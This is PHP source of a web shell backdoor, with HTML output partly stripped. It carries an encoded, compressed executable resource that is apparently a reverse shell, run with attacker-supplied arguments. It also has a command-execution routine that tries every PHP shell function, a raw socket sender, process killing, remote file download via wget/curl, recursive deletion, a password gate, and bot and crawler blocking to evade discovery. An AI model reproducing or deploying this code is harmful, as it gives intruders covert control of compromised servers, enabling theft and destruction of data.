$GLOBALS['resources']['rs_executable'] = "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";
$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
";
if(isset($p['rsLang']) && isset($p['rsArgs'])){
$rsLang = $p['rsLang'];
$rsArgs = $p['rsArgs'];
$res = "";
if($rsLang=="php"){
$code = get_resource("rs_".$rsLang);
if($code!==false){
$code = "\$target = \"".$rsArgs."\"; ?>".$code;
$res = eval_go($rsLang, $code, "", "");
}
}
else{
$code = get_resource("rs_".$rsLang);
if($code!==false){
$res = eval_go($rsLang, $code, "", $rsArgs);
}
}
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
$packetHost = trim($p['packetHost']);
if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
$packetPort = (int) $p['packetPort'];
$packetTimeout = (int) $p['packetTimeout'];
$packetSTimeout = (int) $p['packetSTimeout'];
$packetContent = $p['packetContent'];
if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
$res = "";
$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
if(!$sock){
$res .= "";
$res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")
";
}
else{
stream_set_timeout($sock, $packetSTimeout);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="") $counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
$res .= "";
}
output($res);
}
$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = "";
if(!function_exists('show_processes')){
function show_processes(){
$output = '';
$wcount = 11;
if(is_win()){
$cmd = "tasklist /V /FO csv";
$wexplode = "\",\"";
}
else{
$cmd = "ps aux";
$wexplode = " ";
}
$res = execute($cmd);
if(trim($res)=='') return false;
else{
$output .= "";
if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
$psarr = explode("\n",$res);
$fi = true;
$tblcount = 0;
$check = explode($wexplode,$psarr[0]);
$wcount = count($check);
foreach($psarr as $psa){
if(trim($psa)!=''){
if($fi){
$fi = false;
$psln = explode($wexplode, $psa, $wcount);
$output .= "
action ";
foreach($psln as $p) $output .= "".trim(trim(strtolower($p)) ,"\"")." ";
$output .= " ";
}
else{
$psln = explode($wexplode, $psa, $wcount);
$pid = trim(trim($psln[1]),"\"");
$tblcount = 0;
$output .= "";
foreach($psln as $p){
if(trim($p)=="") $p = " ";
$p = trim(trim($p) ,"\"");
$p = html_safe($p);
if($tblcount == 0){
$output .= "
kill ".$p." ";
$tblcount++;
}
else{
$tblcount++;
if($tblcount == count($psln)) $output .= "".$p." ";
else $output .= "".$p." ";
}
}
$output .= " ";
}
}
}
$colspan = count($psln)+1;
$colspanAll = $colspan+1;
$output .= "
kill selected refresh
";
}
return $output;
}
}
if(isset($p['showProcesses'])){
$processes = show_processes();
if($processes!==false) output($processes);
output('error');
}
elseif(isset($p['allPid'])){
$allPid = explode(" ", $p['allPid']);
$counter = 0;
foreach($allPid as $pid){
$pid = trim($pid);
if(!empty($pid)){
if(function_exists("posix_kill")){
if(posix_kill($pid,'9')) $counter++;
}
else{
if(is_win()){
$cmd = execute("taskkill /F /PID ".$pid);
$cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
if(strpos($cmd,"No tasks are running")!==false) $counter++;
}
else{
$cmd = execute("kill -9 ".$pid);
if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
$cmd = trim(execute("ps -p ".$pid));
$check = explode("\n", $cmd);
if(count($check)==1) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
else output('error');
}
$error = @ob_get_contents();
$error_html = (!empty($error))?"".html_safe($error)."
":"";
@ob_end_clean();
?>
'>
">
";
echo $res;
}
}
if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){
$res = "
You need to enable javascript
";
echo $res;
die();
}
}
}
}
if(!function_exists('get_server_info')){
function get_server_info(){
$server_info['uname'] = php_uname();
$server_info['software'] = getenv("SERVER_SOFTWARE")." | PHP ".phpversion();
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
$server_info['ip_adrress'] = "Server IP : ".$server_addr." | Your IP : ".$_SERVER['REMOTE_ADDR'];
$server_info['time_at_server'] = "Time @ Server : ".@date("d M Y H:i:s",time());
return $server_info;
}
}
if(!function_exists('get_self')){
function get_self(){
$query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
return html_safe($_SERVER["REQUEST_URI"].$query);
}
}
if(!function_exists('get_post')){
function get_post(){
return fix_magic_quote($_POST);
}
}
if(!function_exists('get_nav')){
function get_nav($path){
return parse_dir($path);
}
}
if(!function_exists('get_cwd')){
function get_cwd(){
$cwd = getcwd().DIRECTORY_SEPARATOR;
if(!isset($_COOKIE['cwd'])){
setcookie("cwd", $cwd);
}
else{
$cwd_c = rawurldecode($_COOKIE['cwd']);
if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
else setcookie("cwd", $cwd);
}
return $cwd;
}
}
if(!function_exists('wrap_with_quotes')){
function wrap_with_quotes($str){
return "\"".$str."\"";
}
}
if(!function_exists('get_resource')){
function get_resource($type){
if(isset($GLOBALS['resources'][$type])){
return gzinflate(base64_decode($GLOBALS['resources'][$type]));
}
return false;
}
}
if(!function_exists('block_bot')){
function block_bot(){
// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
}
}
if(!function_exists('is_win')){
function is_win(){
return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
}
}
if(!function_exists('fix_magic_quote')){
function fix_magic_quote($arr){
$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k=>$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
}
}
}
return $arr;
}
}
if(!function_exists('execute')){
function execute($code){
$output = "";
$code = $code." 2>&1";
if(is_callable('system')){
ob_start();
@system($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('shell_exec')){
$output = @shell_exec($code);
if(!empty($output)) return $output;
}
elseif(is_callable('exec')){
@exec($code,$res);
if(!empty($res)) foreach($res as $line) $output .= $line;
if(!empty($output)) return $output;
}
elseif(is_callable('passthru')){
ob_start();
@passthru($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('proc_open')){
$desc = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));
$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
if(is_resource($proc)){
while($res = fgets($pipes[1])){
if(!empty($res)) $output .= $res;
}
while($res = fgets($pipes[2])){
if(!empty($res)) $output .= $res;
}
}
@proc_close($proc);
if(!empty($output)) return $output;
}
elseif(is_callable('popen')){
$res = @popen($code, 'r');
if($res){
while(!feof($res)){
$output .= fread($res, 2096);
}
pclose($res);
}
if(!empty($output)) return $output;
}
return "";
}
}
if(!function_exists('html_safe')){
function html_safe($str){
return htmlspecialchars($str, 2 | 1);
}
}
if(!function_exists('parse_dir')){
function parse_dir($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$paths = explode(DIRECTORY_SEPARATOR, $path);
$res = "";
for($i = 0; $i < sizeof($paths)-1; $i++){
$x = "";
for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
$res .= "".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." ";
}
if(is_win()) $res = get_drives().$res;
return trim($res);
}
}
if(!function_exists('zip')){
function zip($files, $archive){
$status = false;
if(!extension_loaded('zip')) return $status;
if(class_exists("ZipArchive")){
$zip = new ZipArchive();
if(!$zip->open($archive, 1)) return $status;
if(!is_array($files)) $files = array($files);
foreach($files as $file){
$file = str_replace(get_cwd(), '', $file);
$file = str_replace('\\', '/', $file);
if(is_dir($file)){
$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
foreach($filesIterator as $iterator){
$iterator = str_replace('\\', '/', $iterator);
if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
}
}
elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
}
if($zip->getStatusString()!==false) $status = true;
$zip->close();
}
return $status;
}
}
if(!function_exists('compress')){
function compress($type, $archive, $files){
if(!is_array($files)) $files = array($files);
if($type=='zip'){
if(zip($files, $archive)) return true;
else return false;
}
elseif(($type=='tar')||($type=='targz')){
$archive = basename($archive);
$listsBasename = array_map("basename", $files);
$lists = array_map("wrap_with_quotes", $listsBasename);
if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
if(is_file($archive)) return true;
else return false;
}
return false;
}
}
if(!function_exists('decompress')){
function decompress($type, $archive, $path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$status = false;
if(is_dir($path)){
chdir($path);
if($type=='unzip'){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$target = $path.basename($archive,".zip");
if($zip->open($archive)){
if(!is_dir($target)) mkdir($target);
if($zip->extractTo($target)) $status = true;
$zip->close();
}
}
}
elseif($type=='untar'){
$target = basename($archive,".tar");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
elseif($type=='untargz'){
$target = "";
if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
}
return $status;
}
}
if(!function_exists('download')){
function download($url ,$saveas){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$filename = basename($url);
if($content = read_file($url)){
if(is_file($saveas)) unlink($saveas);
if(write_file($saveas, $content)){
return true;
}
}
$buff = execute("wget ".$url." -O ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("curl ".$url." -o ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lwp-download ".$url." ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lynx -source ".$url." > ".$saveas);
if(is_file($saveas)) return true;
return false;
}
}
if(!function_exists('get_fileperms')){
function get_fileperms($file){
if($perms = @fileperms($file)){
$flag = 'u';
if(($perms & 0xC000) == 0xC000)$flag = 's';
elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
elseif(($perms & 0x8000) == 0x8000)$flag = '-';
elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
$flag .= ($perms & 00400)? 'r':'-';
$flag .= ($perms & 00200)? 'w':'-';
$flag .= ($perms & 00100)? 'x':'-';
$flag .= ($perms & 00040)? 'r':'-';
$flag .= ($perms & 00020)? 'w':'-';
$flag .= ($perms & 00010)? 'x':'-';
$flag .= ($perms & 00004)? 'r':'-';
$flag .= ($perms & 00002)? 'w':'-';
$flag .= ($perms & 00001)? 'x':'-';
return $flag;
}
else return "???????????";
}
}
if(!function_exists('format_bit')){
function format_bit($size){
$base = log($size) / log(1024);
$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
}
}
if(!function_exists('get_filesize')){
function get_filesize($file){
$size = @filesize($file);
if($size!==false){
if($size<=0) return 0;
return format_bit($size);
}
else return "???";
}
}
if(!function_exists('get_filemtime')){
function get_filemtime($file){
return @date("d-M-Y H:i:s", filemtime($file));
}
}
if(!function_exists('get_fileowner')){
function get_fileowner($file){
$owner = "?:?";
if(function_exists("posix_getpwuid")){
$name = posix_getpwuid(fileowner($file));
$group = posix_getgrgid(filegroup($file));
$owner = $name['name'].":".$group['name'];
}
return $owner;
}
}
if(!function_exists('rmdirs')){
function rmdirs($dir, $counter = 0){
if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
if($dh = opendir($dir)){
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
$f = $dir.$f;
if(@is_dir($f)) $counter += rmdirs($f);
else{
if(unlink($f)) $counter++;
}
}
}
closedir($dh);
if(rmdir($dir)) $counter++;;
}
return $counter;
}
}
if(!function_exists('copys')){
function copys($source , $target ,$c=0){
$source = realpath($source).DIRECTORY_SEPARATOR;
if($dh = opendir($source)){
if(!is_dir($target)) mkdir($target);
$target = realpath($target).DIRECTORY_SEPARATOR;
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
if(is_dir($source.$f)){
copys($source.$f, $target.$f, $c);
}
else{
if(copy($source.$f, $target.$f)) $c++;
}
}
}
closedir($dh);
}
return $c;
}
}
if(!function_exists('get_all_files')){
function get_all_files($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$files = glob($path.'*');
for($i = 0; $iOwner ".get_fileowner($file)." ";
}
$image_info = @getimagesize($file);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if($type=="auto"){
if(is_array($image_info)) $type = 'image';
//elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
elseif(!empty($mime)) $type = "multimedia";
else $type = "raw";
}
$content = "";
if($type=="code"){
$hl_arr = array(
"hl_default"=> ini_get('highlight.default'),
"hl_keyword"=> ini_get('highlight.keyword'),
"hl_string"=> ini_get('highlight.string'),
"hl_html"=> ini_get('highlight.html'),
"hl_comment"=> ini_get('highlight.comment')
);
$content = highlight_string(read_file($file),true);
foreach($hl_arr as $k=>$v){
$content = str_replace("", "", $content);
$content = str_replace("", "", $content);
}
}
elseif($type=="image"){
$width = (int) $image_info[0];
$height = (int) $image_info[1];
$image_info_h = "Image type = ( ".$image_info['mime']." )
Image Size = ( ".$width." x ".$height." ) ";
if($width > 800){
$width = 800;
$imglink = "
[ View Full Size ]
";
}
else $imglink = "";
$content = "".$image_info_h." ".$imglink."
";
}
elseif($type=="multimedia"){
$content = "
Load Multimedia File
";
}
elseif($type=="edit"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
elseif($type=="hex"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
else $content = "".html_safe(read_file($file))." ";
$output .= "
Filename ".html_safe($file)."
Size ".get_filesize($file)." (".filesize($file).")
".$owner."
Permission ".get_fileperms($file)."
Create time ".@date("d-M-Y H:i:s",filectime($file))."
Last modified ".@date("d-M-Y H:i:s",filemtime($file))."
Last accessed ".@date("d-M-Y H:i:s",fileatime($file))."
explorer
action
raw
code
hex
image
multimedia
".$content."
";
}
else $output = "error";
return $output;
}
}
if(!function_exists('get_writabledir')){
function get_writabledir(){
if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
else{
foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
if(!empty($_ENV[$k])){
if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
}
}
if(function_exists("sys_get_temp_dir")){
$dir = sys_get_temp_dir();
if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
}
else{
if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
}
$tempfile = tempnam(__FILE__,'');
if(file_exists($tempfile)){
$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
unlink($tempfile);
return $dir;
}
}
return false;
}
}
if(!function_exists('get_drives')){
function get_drives(){
$drives = "";
$v = explode("\\", get_cwd());
$v = $v[0];
foreach (range("A", "Z") as $letter){
if(@is_readable($letter.":\\")){
$drives .= "[ ";
if($letter.":" != $v) $drives .= $letter;
else{$drives .= "".$letter." ";}
$drives .= " ] ";
}
}
return $drives;
}
}
if(!function_exists('show_all_files')){
function show_all_files($path){
if(!is_dir($path)) return "No such directory : ".$path;
chdir($path);
$output = "";
$allfiles = $allfolders = array();
if($res = opendir($path)){
while($file = readdir($res)){
if(($file!='.')&&($file!="..")){
if(is_dir($file)) $allfolders[] = $file;
elseif(is_file($file))$allfiles[] = $file;
}
}
}
array_unshift($allfolders, ".");
$cur = getcwd();
chdir("..");
if(getcwd()!=$cur) array_unshift($allfolders, "..");
chdir($cur);
natcasesort($allfolders);
natcasesort($allfiles);
$cols = array();
if(is_win()){
$cols = array(
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
else{
$cols = array(
"owner"=>"get_fileowner",
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
$totalFiles = count($allfiles);
$totalFolders = 0;
$output .= "";
$output .= "
name size ";
foreach($cols as $k=>$v){
$output .= "".$k." ";
}
$output .= " ";
